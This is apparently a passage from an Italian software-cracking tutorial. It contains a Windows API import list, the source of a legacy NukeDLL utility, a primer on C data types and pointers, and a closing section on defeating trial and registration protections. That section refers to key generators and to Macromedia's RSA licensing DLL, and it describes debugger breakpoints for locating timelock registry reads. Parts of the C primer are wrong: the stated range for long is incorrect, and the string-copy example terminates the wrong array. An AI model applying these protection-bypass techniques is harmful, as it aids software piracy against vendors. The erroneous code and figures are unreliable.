USER32      89 DdeAbandonTransaction
USER32      92 DdeClientTransaction
USER32      93 DdeCmpStringHandles
USER32      94 DdeConnect
USER32      96 DdeCreateDataHandle
USER32      97 DdeCreateStringHandleA
USER32      99 DdeDisconnect
USER32     102 DdeFreeDataHandle
USER32     103 DdeFreeStringHandle
USER32     104 DdeGetData
USER32     105 DdeGetLastError
USER32     108 DdeInitializeA
USER32     111 DdeNameService
USER32     112 DdePostAdvise
USER32     113 DdeQueryConvInfo
USER32     115 DdeQueryStringA
USER32     119 DdeSetUserHandle
USER32     121 DdeUninitialize
USER32     124 DefFrameProcA
USER32     126 DefMDIChildProcA
USER32     128 DefWindowProcA
USER32     130 DeferWindowPos
USER32     131 DeleteMenu
USER32     133 DestroyAcceleratorTable
USER32     134 DestroyCaret
USER32     135 DestroyCursor
USER32     136 DestroyIcon
USER32     137 DestroyMenu
USER32     138 DestroyWindow
USER32     142 DialogBoxParamA
USER32     144 DispatchMessageA
USER32     161 DrawFocusRect
USER32     163 DrawFrameControl
USER32     164 DrawIcon
USER32     166 DrawMenuBar
USER32     170 DrawTextA
USER32     171 DrawTextExA
USER32     175 EmptyClipboard
USER32     176 EnableMenuItem
USER32     178 EnableWindow
USER32     179 EndDeferWindowPos
USER32     180 EndDialog
USER32     182 EndPaint
USER32     185 EnumClipboardFormats
USER32     197 EnumThreadWindows
USER32     201 EqualRect
USER32     204 FillRect
USER32     205 FindWindowA
USER32     208 FindWindowW
```

```
USER32      210 FrameRect
USER32      213 GetActiveWindow
USER32      215 GetAsyncKeyState
USER32      216 GetCapture
USER32      217 GetCaretBlinkTime
USER32      218 GetCaretPos
USER32      219 GetClassInfoA
USER32      220 GetClassInfoExA
USER32      225 GetClassNameA
USER32      228 GetClientRect
USER32      230 GetClipboardData
USER32      231 GetClipboardFormatNameA
USER32      235 GetCursor
USER32      237 GetCursorPos
USER32      238 GetDC
USER32      239 GetDCEx
USER32      240 GetDesktopWindow
USER32      243 GetDlgItem
USER32      247 GetDoubleClickTime
USER32      248 GetFocus
USER32      249 GetForegroundWindow
USER32      250 GetIconInfo
USER32      257 GetKeyState
USER32      258 GetKeyboardLayout
USER32      262 GetKeyboardState
USER32      264 GetLastActivePopup
USER32      265 GetMenu
USER32      269 GetMenuItemCount
USER32      270 GetMenuItemID
USER32      271 GetMenuItemInfoA
USER32      274 GetMenuState
USER32      275 GetMenuStringA
USER32      279 GetMessagePos
USER32      280 GetMessageTime
USER32      285 GetParent
USER32      289 GetPropA
USER32      291 GetQueueStatus
USER32      292 GetScrollInfo
USER32      293 GetScrollPos
USER32      296 GetSubMenu
USER32      297 GetSysColor
USER32      299 GetSystemMenu
USER32      300 GetSystemMetrics
USER32      301 GetTabbedTextExtentA
USER32      306 GetUpdateRect
USER32      307 GetUpdateRgn
USER32      311 GetWindow
USER32      313 GetWindowDC
USER32      314 GetWindowLongA
USER32      316 GetWindowPlacement
USER32      317 GetWindowRect
USER32      318 GetWindowRgn
USER32      319 GetWindowTextA
USER32      320 GetWindowTextLengthA
USER32      323 GetWindowThreadProcessId
USER32      327 HideCaret
USER32      331 InflateRect
USER32      332 InsertMenuA
USER32      337 IntersectRect
USER32      338 InvalidateRect
USER32      339 InvalidateRgn
USER32      341 IsCharAlphaA
USER32      349 IsChild
USER32      350 IsClipboardFormatAvailable
USER32      352 IsDialogMessageA
USER32      356 IsIconic
USER32      358 IsRectEmpty
USER32      359 IsWindow
USER32      360 IsWindowEnabled
USER32      362 IsWindowVisible
USER32      363 IsZoomed
USER32      365 KillTimer
USER32      366 LoadAcceleratorsA
USER32      368 LoadBitmapA
USER32      370 LoadCursorA
USER32      374 LoadIconA
USER32      376 LoadImageA
USER32      387 LoadStringA
```

```
USER32      390 LockWindowUpdate
USER32      400 MapWindowPoints
USER32      404 MessageBeep
USER32      405 MessageBoxA
USER32      408 MessageBoxIndirectA
USER32      411 ModifyMenuA
USER32      413 MoveWindow
USER32      414 MsgWaitForMultipleObjects
USER32      417 OemToCharA
USER32      421 OffsetRect
USER32      422 OpenClipboard
USER32      431 PeekMessageA
USER32      432 PeekMessageW
USER32      433 PostMessageA
USER32      434 PostMessageW
USER32      435 PostQuitMessage
USER32      436 PostThreadMessageA
USER32      443 PtInRect
USER32      446 RegisterClassA
USER32      447 RegisterClassExA
USER32      450 RegisterClipboardFormatA
USER32      460 ReleaseCapture
USER32      461 ReleaseDC
USER32      462 RemoveMenu
USER32      463 RemovePropA
USER32      467 ScreenToClient
USER32      472 SendDlgItemMessageA
USER32      474 SendMessageA
USER32      482 SetActiveWindow
USER32      483 SetCapture
USER32      485 SetCaretPos
USER32      489 SetClipboardData
USER32      492 SetCursor
USER32      494 SetCursorPos
USER32      498 SetDlgItemTextA
USER32      501 SetFocus
USER32      502 SetForegroundWindow
USER32      504 SetKeyboardState
USER32      507 SetMenu
USER32      509 SetMenuDefaultItem
USER32      511 SetMenuItemInfoA
USER32      515 SetParent
USER32      518 SetPropA
USER32      520 SetRect
USER32      522 SetScrollInfo
USER32      523 SetScrollPos
USER32      524 SetScrollRange
USER32      534 SetTimer
USER32      538 SetWindowContextHelpId
USER32      539 SetWindowLongA
USER32      542 SetWindowPos
USER32      543 SetWindowRgn
USER32      545 SetWindowTextA
USER32      549 SetWindowsHookExA
USER32      550 SetWindowsHookExW
USER32      552 ShowCaret
USER32      553 ShowCursor
USER32      555 ShowScrollBar
USER32      557 ShowWindow
USER32      560 SubtractRect
USER32      564 SystemParametersInfoA
USER32      566 TabbedTextOutA
USER32      570 ToAscii
USER32      575 TrackPopupMenu
USER32      580 TranslateMDISysAccel
USER32      581 TranslateMessage
USER32      584 UnhookWindowsHookEx
USER32      589 UnregisterClassA
USER32      593 UpdateWindow
USER32      599 VkKeyScanA
USER32      602 VkKeyScanW
USER32      604 WaitForInputIdle
USER32      605 WaitMessage
USER32      606 WinHelpA
USER32      609 WindowFromPoint
USER32      610 keybd_event
USER32                          612wsprintfA
```

DLL CARICATE NEL SISTEMA

Fino ad ora abbiamo analizzato utilities che permettevano di vedere quali DLL sono caricate nel sistema.
La cosa interessante è quella legata alla metodologia per ricavare queste informazioni da nostri programmi.
Il seguente programma in C vi mostra le DLL caricate nel sistema.

Nukedll.c

```
#include <windows.h>
#include <toolhelp.h>
#include "nukedll.h"

// A private message posted by the NotifyRegister callback routine when
// module load/unload activity starts.
#define WM_UPDATE_DLL_LIST    (WM_USER+0x200)

BOOL DllListNeedsRefresh = FALSE;  // Set to TRUE when module activity starts
HWND HWndDlg;                                  // The HWND of the main dialog

// Make a variable in a far data segment, thereby preventing a 2nd
// instance of the program from starting up.  We have a relocation
// to the DGROUP in the NotifyRegisterCallback() routine.  If we
// wanted to be fancy, we could look up the HWND of the previous
// instance and activate it.
int far ForceMultipleDataSegs;

// Returns non-zero if the passed parameter is an HMODULE, 0 otherwise
BOOL IsHModule(HMODULE hModule)
{
      MODULEENTRY me;

      // Use TOOLHELP to tell us if the passed HMODULE is valid.  If we
      // were worried about speed, we could treat the HMODULE as a selector
      // and read the first two bytes of the segment.  If they're 'NE', then
      // it's an HMODULE.
      me.dwSize = sizeof(me);
      return ModuleFindHandle(&me, hModule);
}

// Given a dialog box handle and and a listbox ID, return the item data
// value of the currently selected listbox entry.
DWORD GetSelectedItemData(HWND hWndDlg, int listboxID)
{
      int index;

      index = (int)SendDlgItemMessage(hWndDlg, listboxID, LB_GETCURSEL, 0, 0);
      if ( index == - 1 )
            return 0xFFFFFFFF;

      return SendDlgItemMessage(hWndDlg, listboxID,
                                              LB_GETITEMDATA, index, 0);
}

// Update the left listbox to reflect the current list of loaded DLLs
void UpdateDllList(HWND hWndDlg)
{
      MODULEENTRY me;
```

```
	BOOL moreToGo;
	char szBuffer[256];
	HWND hWndListbox;
	LPWORD lpModuleFlags;

	// Get the listbox's HWND.  We'll be sending numerous messages to it,
	// so it's more efficient than using SendDlgItemMessage().
	hWndListbox = GetDlgItem(hWndDlg, IDL_DLLS);

	// Clear the listbox's contents
	SendMessage(hWndListbox, LB_RESETCONTENT, 0, 0);

	// Use TOOLHELP to enumerate through all the DLLs in the system
	me.dwSize = sizeof(me);
	moreToGo = ModuleFirst(&me);
	while ( moreToGo )
	{
		// Get a pointer to the flags WORD in the module database
		lpModuleFlags = MAKELP(me.hModule, 0xC);

		// Is it a DLL module?
		if ( *lpModuleFlags & 0x8000 )
		{
			// Format a string with the module's name and reference count
			wsprintf(szBuffer, "%s (%u)", (LPSTR)me.szModule, me.wcUsage);

			// Add the string to the beginning of the listbox, and then
			// store the HMODULE in the new entry's item data.
			SendMessage(hWndListbox, LB_INSERTSTRING, 0,
						(LPARAM)(LPSTR)szBuffer);
			SendMessage(hWndListbox, LB_SETITEMDATA, 0, me.hModule);
		}

		moreToGo = ModuleNext(&me);		// Go on to next module
	}

	// After listing all the modules, set the selection to the first one
	SendMessage(hWndListbox, LB_SETCURSEL, 0, 0);
}

// update the righthand listbox to show all the modules that reference
// the selected module in the left listbox.
void UpdateReferencingDllList(HWND hWndDlg, HMODULE hModule)
{
	MODULEENTRY me;
	BOOL moreToGo;
	char szBuffer[256];
	HWND hWndListbox;
	BOOL fHasReferencingDll = FALSE;

	// Get the listbox's HWND.  We'll be sending numerous messages to it,
	// so it's more efficient than using SendDlgItemMessage().
	hWndListbox = GetDlgItem(hWndDlg, IDL_USED_BY);

	// Clear the listbox's contents
	SendMessage(hWndListbox, LB_RESETCONTENT, 0, 0);

	// If we were somehow passed an invalid HMODULE, bail out now
	if ( IsHModule(hModule) == FALSE )
		return;

	// Use TOOLHELP to enumerate through all the DLLs in the system
```

```
	me.dwSize = sizeof(me);
	moreToGo = ModuleFirst(&me);
	while ( moreToGo )
	{
		// Make a pointer to the size of the module reference table
		// of the current module in the enumeration
		LPWORD lpModRefCount = MAKELP(me.hModule, 0x1E);
		HMODULE far * lpModRefTable;
		WORD i, npModRefTable;

		// Make a far pointer to the module reference table of the
		// current module in the enumeration
		npModRefTable = *(LPWORD)MAKELP(me.hModule, 0x28);
		lpModRefTable = MAKELP(me.hModule, npModRefTable);

		// Iterate through all the entries in the module reference table
		for ( i = 0; i < *lpModRefCount; i++ )
		{
			// Did we find an HMODULE that matches the one selected in
			// the left listbox?
			if ( *lpModRefTable == hModule )
			{
				// At least one module references the selected DLL
				fHasReferencingDll = TRUE;

				// Add the module name to the right listbox
				SendMessage(hWndListbox, LB_ADDSTRING, 0,
						(LPARAM)(LPSTR)me.szModule);

				break;		// No need to keep looking!
			}

			// Advance to next HMODULE in the module reference table
			lpModRefTable++;
		}

		// Go on to the next module in the system
		moreToGo = ModuleNext(&me);
	}

	// If no module directly references the selected module, the module
	// must have been loaded via LoadLibrary.
	if ( fHasReferencingDll == FALSE )
	{
		wsprintf(szBuffer, "%d LoadLibrary loads", GetModuleUsage(hModule));
		SendMessage(hWndListbox, LB_ADDSTRING, 0, (LPARAM)(LPSTR)szBuffer);
	}
}

// This routine is similar to the UpdateReferencingDllList above.  Instead
// of filling in a listbox though, it simply returns true if at least one
// module is currently implicitly linked to the passed HMODULE.
BOOL HasReferencingDll(HMODULE hModule)
{
	MODULEENTRY me;
	BOOL moreToGo;

	if ( IsHModule(hModule) == FALSE )
		return FALSE;

	me.dwSize = sizeof(me);
	moreToGo = ModuleFirst(&me);
```

```
      while ( moreToGo )
      {
            LPWORD lpModRefCount = MAKELP(me.hModule, 0x1E);
            HMODULE far * lpModRefTable;
            WORD i, npModRefTable;

            npModRefTable = *(LPWORD)MAKELP(me.hModule, 0x28);
            lpModRefTable = MAKELP(me.hModule, npModRefTable);

            for ( i = 0; i < *lpModRefCount; i++ )
            {
                  if ( *lpModRefTable == hModule )
                        return TRUE;      // Bail out!  At least one referencer
found.

                  lpModRefTable++;  // Advance to next HMODULE
            }
            moreToGo = ModuleNext(&me);
      }
      return FALSE;
}

// The TOOLHELP notification handler routine.  Looks for for module loads
// and unloads, and tells the main window when to update the DLL list.
BOOL CALLBACK __loadds NotifyRegisterCallback(WORD wID, DWORD dwData)
{
      // BC++ 3.1 has a bug where it ignores __loadds.  Therefore
      // we have to load DS by hand.
      #ifdef __BORLANDC__
      __asm {
                  mov         ax, seg HWndDlg
                  mov         ds, ax
      }
      #endif

      if ( (wID == NFY_DELMODULE) || (wID == NFY_STARTDLL) )
      {
            // Only do this for the first DLL in the group of loads/unloads
            if ( DllListNeedsRefresh == FALSE )
            {
                  DllListNeedsRefresh = TRUE;
                  // Tell dialog to redraw the DLL list and then select
                  // the first DLL in the list
                  PostMessage(HWndDlg, WM_UPDATE_DLL_LIST, 0, 0);
                  PostMessage(HWndDlg, WM_COMMAND, IDL_DLLS,
                        MAKELPARAM(0, LBN_SELCHANGE));
            }
      }

      return FALSE;     // Tell TOOLHELP that we didn't handle the notification
}

// Handles all WM_COMMAND messages for the dialog
void Handle_WM_COMMAND(HWND hWndDlg, WPARAM wParam, LPARAM lParam)
{
      if ( wParam == IDL_DLLS )     // Left listbox
      {
            if ( HIWORD(lParam) == LBN_SELCHANGE )   // User has selected
something
            {
                  HMODULE hModule;
```

```
                hModule = (HMODULE)GetSelectedItemData(hWndDlg, IDL_DLLS);
                UpdateReferencingDllList(hWndDlg, hModule);
            }
      }
      else if ( wParam == IDB_NUKE_DLLS ) // "Nuke Highlighted DLL" button
      {
            HMODULE hModule;
            int cUsage;

            // Get the HMODULE of the selected DLL out of the item data
            hModule = (HMODULE)GetSelectedItemData(hWndDlg, IDL_DLLS);
            if ( IsHModule(hModule) == FALSE )
                  return;

            // Check to see if anybody is directly using the DLL.  If so,
            // prompt the user to make sure they want to procede
            if ( HasReferencingDll(hModule) == TRUE )
            {
                  if ( MessageBox(hWndDlg,
                        "The selected DLL has modules that reference it.  Are
you "
                        "sure you want to do this?", "Hold on...",
                        MB_YESNO | MB_ICONHAND) != IDYES )
                        return;
            }

            // Get the reference count of the DLL and call
            // FreeLibrary that many times
            cUsage = GetModuleUsage(hModule);
            while ( cUsage )
            {
                  FreeLibrary( hModule );
                  cUsage--;
            }

            // We don't need to bother to update the DLL list here.  The
            // last FreeLibrary call above should have caused an
            // NFY_DELMODULE notification for the DLL.  There should be a
            // WM_UPDATE_DLL_LIST message in our message queue, just
            // waiting for the chance to redraw the DLL list.
      }
      else if ( wParam == IDB_EXIT )      // The "Exit" button
      {
            EndDialog(HWndDlg, 0);
      }
}

// Handles the initial setup of the dialog
void Handle_WM_INITDIALOG(HWND hWndDlg, WPARAM wParam, LPARAM lParam)
{
      HWndDlg = hWndDlg;

      // Draw the DLL list in the left listbox
      UpdateDllList(hWndDlg);

      // Fake a user selection of the first DLL in the list
      PostMessage(hWndDlg, WM_COMMAND, IDL_DLLS, MAKELPARAM(0, LBN_SELCHANGE));

      // Set up our TOOLHELP notification callback
      NotifyRegister(0, (LPFNNOTIFYCALLBACK) NotifyRegisterCallback, NF_NORMAL);
}
```

```
// Dialog procedure for the NukeDll dialog
BOOL CALLBACK _export NukeDllDlgProc(HWND hWndDlg, UINT msg,
                                     WPARAM wParam, LPARAM lParam)
{
    switch ( msg )
    {
        case WM_COMMAND:
                  Handle_WM_COMMAND(hWndDlg, wParam, lParam);
                  return TRUE;
        case WM_INITDIALOG:
                  Handle_WM_INITDIALOG(hWndDlg, wParam, lParam);
                  return TRUE;
            case WM_UPDATE_DLL_LIST:
                  UpdateDllList(hWndDlg);
                  DllListNeedsRefresh = FALSE;
                  break;
        case WM_CLOSE:
            EndDialog(hWndDlg, 0);
                  return FALSE;
    }
    return FALSE;
}

int PASCAL WinMain( HANDLE hInstance, HANDLE hPrevInstance,
                    LPSTR lpszCmdLine, int nCmdShow )
{
      // Bring up the NukeDll dialog
    DialogBox(hInstance, "NukeDllDlg", 0, (DLGPROC)NukeDllDlgProc);

      // Shut down the TOOLHELP notifications set up in Handle_WM_INITDIALOG()
      NotifyUnRegister(0);
    return 0;
}
```

Il file di definizione

```
Nukedll.def

NAME            'NUKEDLL'
DESCRIPTION     'Program to show DLL list and terminate rogue DLLs'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
STACKSIZE 5120
HEAPSIZE  1024
EXPORTS
      NukeDllDlgProc    @1
```

Il fle d’include

```
Nukedll.h

#define IDB_EXIT        104
#define IDB_NUKE_DLLS   103
#define IDL_DLLS        101
#define IDL_USED_BY     102
```

```
nukedll.rc

#include <windows.h>
#include "nukedll.h"
```

```
NukeDllDlg DIALOG 82, 48, 160, 114
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX
CAPTION "NukeDLL - Matt Pietrek 1994"
BEGIN
      CONTROL "", IDL_DLLS, "LISTBOX", LBS_NOTIFY | WS_CHILD | WS_VISIBLE |
WS_BORDER | WS_VSCROLL | WS_TABSTOP, 4, 14, 72, 80
      CONTROL "", IDL_USED_BY, "LISTBOX", WS_CHILD | WS_VISIBLE | WS_BORDER |
WS_VSCROLL | WS_TABSTOP, 84, 14, 72, 80
      PUSHBUTTON "Nuke Highlighted DLL", IDB_NUKE_DLLS, 4, 98, 84, 14, WS_CHILD
| WS_VISIBLE | WS_TABSTOP
      PUSHBUTTON "Exit", IDB_EXIT, 108, 98, 24, 14, WS_CHILD | WS_VISIBLE |
WS_TABSTOP
      LTEXT "DLLs:", -1, 4, 4, 33, 8, WS_CHILD | WS_VISIBLE | WS_GROUP
      LTEXT "Used By:", -1, 84, 4, 33, 8, WS_CHILD | WS_VISIBLE | WS_GROUP
END
```

Ed infine il .mak

```
Nukedll.mak

PROJNAME = NUKEDLL

$(PROJNAME).exe: $(PROJNAME).obj $(PROJNAME).res
  link /ON:N /A:16 $(PROJNAME).obj, $(PROJNAME), , \
      LIBW.LIB TOOLHELP.LIB SLIBCEW.LIB,$(PROJNAME).def
  RC $(PROJNAME).res $(PROJNAME).exe

$(PROJNAME).obj: $(PROJNAME).c $(PROJNAME).h
  CL /W3 /GAs /G2 /O1 /c /Zi $(PROJNAME).c

$(PROJNAME).res: $(PROJNAME).rc
    RC -R -FO $(PROJNAME).res $(PROJNAME).rc
```

DATI E PUNTATORI IN C

Porto da esempio i dati e i puntatori in C visto che questo è una via di mezzo tra assembler ed altri linguaggi.
Inoltre il discorso è fatto in relazione alla quantità di software presenti scritti con questo linguaggio.
Generalmente i software professionali sono scritti quasi tutti in C/C++ e se trovate qualche programma scritto in Vbasic sicuramente non fa parte di qualche grosso progetto.
In Vbasic ci troverete il programmino che sostituisce la shell Windows per permettere la cancellazione e la copia di qualche files ma difficilmente ci troverete il pacchetto di grafica professionale.
La teoria dei dati in C/C++ è semplice in quanto l'unico concetto che bisogna tenere a mente è la dimensione del valore da memorizzarci dentro.
Mentre Vbasic differenzia il tipo stringa da quello numerico il C/C++ non fa nessuna considerazione in merito.
Se ci troviamo davanti al problema di dover memorizzare un carattere, 'E' ad esempio, possiamo usare il tipo CHAR, non perchè questo è legato ai tipi carattere, ma solo perchè la dimensione di un CHAR in C è sufficente a mentenere memorizzato un valore compreso tra 0 e 255 per cui 'E', che in ASCII avrà un valore comèpreso in questo range, è idoneo ad essere mantenuto in una variabile di tipo CHAR.
Una differenzazione può essere fatta per quanto concerne il tipo signed e quello unsigned.
Normalmente un certo tipo di variabile riserva un numero X di bytes.
Questi bytes possono essere visti come sequenze di bits di cui n-1 bits riservati al valore mentre 1 bits, l'ultimo, per il segno.
Questo significa che se ci troviamo dinanzi ad un tipo da un byte 7 bits saranno per il valore mentre l'ultimo per il segno.
Da ciò è facile capire che oi valori signed memorizzabili in un tipo da 1 byte è un valore compreso tra +- 127 ovvero il valore numerico rappresentabile da 7 bits.
I tipi del C sono :

a) char - Character.

Il valore è da -128 a +127
Se si utilizza la specifica unsitgned prima della definizione del tipo si fa in modo che anche il bit per la rappresentazione del segno venga usato per il valore per cui in un

unsigned char

Il seguente programmino testa se il sistema supporta il tipo unsigned.

```
#include <stdio.h>

main()
{
	char a;
	unsigned char b;
	a = b = 128;
	a >>= 1;
	b >>= 1;
	printf ( "\nYour computer has %ssigned char.\n\n", a == b ? "un" : "" );
}
```

b) int - Integers.

Lo stesso discorso di prima.
Il numero di bytes varia a aseconda della macchina.
Una volta il tipo int era di 2 bytes su certe macchine mentre su altre che distinguevano il tipo long integer da quello short integer lo trattavano a 4 bytes come il tipo long.
In ogni caso guardate l'ambiente e il sistema.
Se il tipo int è a 2 bytes allora avrete :

int   - 2 bytes – 15 bits per il valore e 1 per il segno – da -32768 a +32767
unsigned int – 2 bytes – 16 bits per il valore – 65535

c) long – Long

Qui il valore è quello di 4 bytes ovvrero 31 per il valore e 1 per il segno o tutti per il valore.
Il range è -4294967296 +4294967295.

d) float e double - The Real Numbers.

I valori per questi tipi sono :

MAXFLOAT   3.40282346638528860e+38
MINFLOAT   1.40129846432481707e-45
MAXDOUBLE   1.79769313486231470e+308
MINDOUBLE   4.94065645841246544e-324

In C avete a disposizione il concetto di array per creare delle liste di valori dello stesso tipo.
Le stringhe vengono infatti trattate dal C come array anche se di fatto il compito di gestire alcune cose è compito degli algoritmi.
Per fare un esempio con il basic potrei avere :

```
A$ = "Stringa";
B$ = A$;
```

La prima variabile, a seguito dell'assegnazione, conterrebbe il valore Stringa.
La seconda assegnazione copierebbe Stringa in B$.
Di fatto quella che pe noi è una sola azione per il sistema è un algoritmo.
In pratica ogni carattere di A$ verrebbe preso e se considerato valido copiato in B$.
Il controllo di validità, è da copiare o no, potrebbe essere fatto mediante la lunghezza della stringa (ripeti per n volte con n = a len(A$)), oppure mediante un carattere di controllo (è il carattere x di A$ == al carattere di fine stringa ? NO. Allora copia).
Questo per dire che in C le stringhe vengono trattate solo per il fatto ce esistono algoritmi per la loro gestione.
In genere il carattere 0 (non ASCII(0) ... proprio NULL) è usato per terminare la stringa.
Esiste una famiglia di funzioni del C che servono a manipolare le stringhe.
Lasciamo per ora perdere il C++ e il suo operator overloading !
Queste funzioni permettono la copia di due array, l'accodamento e la comparazione.
In ogni caso essiste sempre una grossa componente algoritmica che è simile a quella che troverete analizzando i sorgenti in assembler nelle fasi di comparazione.
Prendiamo l'algoritmo di copia da un array all'altro.
Usa i come indice e assegnalo a 0
Prendi il caratteri i dell'array b.
Segna posizione.
E' 0 ovvero il carattere di fine stringa ?
Si. Aggiungi all'array a nella posizione i il carattere null e termina.

No. Aggiungi all’array a nella posizione i il carattere i dell’array b. Incrementa i di 1 e riprendi dalla posizione segnata.

In C :

```
char a[] = “Stringa”;
char b[10];
int index = 0;

while(a[index] != 0) {
      b[index] = a[index];
      ++index;
}
a[index] = 0;
```

Bisogna ricordarsi sempre che in fase di assegnazione fatta alla dichiarazione il carattere 0 di fine stringa viene assegnato automaticamente se no è compito nostro ad inserirlo.
Se ad esempio nell’algoritmo precedente ci si fosse dimenticati di assegnare l’aultimo 0 a a[index] avremmo avuto problemi utilizzando nuovamente a (provate a pensare se in b[] non ci fosse stato lo 0 ... sarebbe andato avanti al’infinito).
Questo tipo di algoritmi li troverete spesso nei controlli fatti dalle routine in assembler.
La comparazione di stringhe infatti avviene facendo questo ragionamento.

Pendi il carattere i di a e confrontalo con il carattere i di b.
Se è finita la stringa b ritorna 0.
Se è uguale incrementa l’indice e ricomincia.
Se non è uguale ritorna il valore del carattere i di a – (meno) il carattere i di b.

Il valore restituito sarà :

0 se a == b
<0 se a < b
>0 se a > b

A questo punto possiamo aggiungere un semplicissimo concetto.
Dicevamo che il tipo dice che dimensione possiede al massimo il valore memorizzato.
Le variabili dove sono memorizzate ?
In memoria.
Se quindi diciamo   char a diciamo che a è una variabile di 1 byte in memoria.
Ma se è in memoria e la memoria è una sequenza di bytes numerati da 0 alla dimensione massima del sistema potremo anche dire che a è posizionato ad un certo indirizzo.
L’operatore unario & restituisce l’indirizzo di una variabile.
Attenzione che gli array sono già trattati come array.
Se abbiamo

```
char a[20];
```

potremmo riferirci all’indirizzo del primo elemento di a con :

```
&a[0];
```

Essendo un array dire a senza null’altro è come dire &a[0];
A questo punto subentra l’aritmetica degli indirizzi.
Ho omesso il concetto di struttura relativa ai dati in quanto preferisco vederla con gli indirizzi più avanti.

L’operatore &, dicevamo restituisce l’indirizzo di un oggetto, mentre l’operatore * posizionato dinanzi ad un indirizzo ci fa riferire al contenuto di quell’indirizzo.
Se avessimo :

int a = 20;

Significa che a è una variabile intera (2 bytes) che contiene il valore 20.
Questo valore 20 si troverà a qualche indirizzo di memoria per cui se dicessi :

&a

sarebbe come dire l’indirizzo di a che in questo caso sarebbe l’indirizzo dove si trova il valore 20.
Se &a è l’indirizzo di a:

***(&a)**

sarebbe come dire il valore puntato dall’indirizzo di a per cui il comando :

stampa *(&a)

stamperebbe 20.
Gli indirizzi sono numeri per cui i puntatori possono essere soggetti ad un aritmetica.
Avendo :

char a[20];

dire a sarebbe come dire &a[0] per cui a sarebbe un valore numerico.

a+1

è l’indirizzo rappresentato da a + 1 * dimensione_tipo.
Fate attenzione a quel dimensione tipo.
Gli incrementi, decrementi ecc. sono sempre relativi, in numero di bytes, al numero richiesto * la dimensione del tipo del puntatore.
In bytes dire :

int a;

int bytes = &a + 1;

sarebbe come dire   &a + (1 * dimensione di int)
Per cui se &a è 1000 in bytes troveremo 1002 ovvero 1000 + (1 * 2).
Usando gli array possiamo riferirci ad un elemento con :

a[100]

ovvero il 100 elemento di a oppure :

&a[0] + (100 * 2)

Avrete visto in alcuni esempi portati in altri capitoli la potenza dell’aritmetica dei puntatori.

PREFAZIONE AI TIPI DI RICERCHE

Come dicevamo prima, spesso la chiave per riuscire ad individuare i punti giusti in cui vengono eseguiti gli input dei codici di registrazione sta' nel fatto di capire quali funzioni delle API o quali meccanismi vengono usati per eseguire le letture.
Partiamo dal presupposto che i tempi in cui le protezioni erano fatte con il metodo "Chiedi la password, confrontala con xxx, avverti ok o non ok" è finito.
Le maschere del seguente tipo sono comuni e non sono quasi mai parti originali del software ma programmi professionali destinati alla gestione dei dimostrativi.
Le tecniche adottate sono molto complesse e spesso utilizzano algoritmi particolari.
Qui a fianco abbiamo il marchio del metodo di crittografia utilizzato dal software per la gestione dei dimostrativi adottato da software house come ad esempio Macromedia, Symantec ecc.
Il programma visto nella panoramica fatta nell'apposito capitolo denominato ProcDump serve a creare dei DUMP decodificati di certi tipi di sistemi.
Questi software dispongono di certi costi che spesso sono legati alla singola copia per cui molti programmi possiedono delle protezioni più caserecce (e meno complesse).
In ogni caso i tempi del GetDlgItemText è sempre più distante per cui è importantissimo individuare il metodo da seguire inizialmente, dipendente da alcune cose.
Spesso capita anche che prima che venga effettivamente attivato un programma ci compaia una MessageBox con l'avvertimento di quanti giorni ci rimangono a disposizione o addirittura un messaggio in cui veniamo avvisati che il tempo a nostra disposizione è scaduto.
Come dicevo prima questo può avvenire per funzioni incluse nella logica del programma, ovvero inserite direttamente dal programmatore originale, o tramite programmi di protezione che possono intervenire anche su programmi eseguibili già compilati.
Questi ultimi sono sempre moduli professionali dove le routines di richiesta del codice seriale avviene tramite complicati algoritmi che possono essere anche collegati a sistemi di registrazione su rete Internet.
In questi casi le testate dei programmi sono crittografate e il tracing dei programmi è abbastanza complesso.
Molte utilities viste prima servono ad eseguire il dump di tali programmi quali ad esempio quelli che usano VBOX.
Abbiamo appena ricordato PROCDUMP.
Norton e Macromedia utilizzano spesso questi moduli anche se nelle ultime versioni le DLL sono state modificate per by-passare le ormai innumerevoli routines generatrici di codice presenti su Internet.
Ad esempio le funzioni di protezione dei software presenti con prodotti Macromedia erano residenti dentro alla DLL rsagnt32.dll (prende il nome dal metodo di crittografia RSA).
Le ultime versioni dispongono delle seguenti dimensioni.

ReadMe.html	12352	31/
Rsagent.hlp	14342	27/
rsagnt32.dll	188416	11/
rsdll.dll	32768	11/
Uninst.isu	263916	03/

Nelle versioni precedenti

ReadMe.htm	10300	24/
Rsagent.hlp	14445	17/
RSAGNT32.DLL	576000	06/
RSDLL.DLL	17920	08/
RSLICENS.TXT	847	16/

Tutti i software presenti in Internet per Macromedia con l'ultima versione (la prima mostrata) non funzionano piu'.
Comunque per farla breve vi sarà capitato di chiedervi dove vengono letti i vari "12 giorni", "30 giorni" ecc., ovvero i tempi relativi all'uso di un programma timelock.
Quasi sempre avvengono delle letture dentro al registro alla ricerca di chiavi non sempre così chiare come si vorrebbe.
Leggevo una specie di scritto su Internet che si definiva come "Il manuale hacker" in cui c'era un capitolo con delle domande e risposte in cui ne compariva una :

W32Dasm Alphabetical List of Imported Functions

To Search Disassembly for Function, Double Click on Text — Cancel Search

advapi32.RegCloseKey
advapi32.RegCloseKey
advapi32.RegCreateKeyExA
advapi32.RegFlushKey
advapi32.RegOpenKeyExA
advapi32.RegOpenKeyExA
advapi32.RegQueryValueExA
advapi32.RegQueryValueExA
advapi32.RegSetValueExA
comctl32.ImageList_Add
comctl32.ImageList_BeginDrag
comctl32.ImageList_Create
comctl32.ImageList_Destroy
comctl32.ImageList_DragEnter
comctl32.ImageList_DragLeave
comctl32.ImageList_DragMove
comctl32.ImageList_DragShowNolock

Close — Copy All — Copy View

"Quando un programma ti avvisa che il tempo è scaduto ed esce senza darti la possibilità di giungere alla finestra di registrazione come si deve fare ?"
La risposta :
"Cercate nel file del registro le voci sotto CURRENT_USER/Software relative al programma in questione e cancellatele."
Avrebbe potuto anche scrivere :
"Sperate che ci sia un pulsante per resettare i giorni e premetelo."
Chi scrive le routine legate alla protezione a tempo non inserisce nel registro voci cosi facilmente rintracciabili ed in particolare modo sotto le voci specifiche del programma in questione.
SoftIce e Wdasm possono servire anche in questo caso.
Attivateli e cercate d'inserire dei breakpoint nei punti in cui vengono eseguite delle chiamate a RegQueryValue ecc.
Inserite anche qualche breakpoint andando a clickare sulla funzione MessageBox.
Guardate l'esempio del programma seguente il quale è scaduto.
Per l'esempio è usato WDASM.
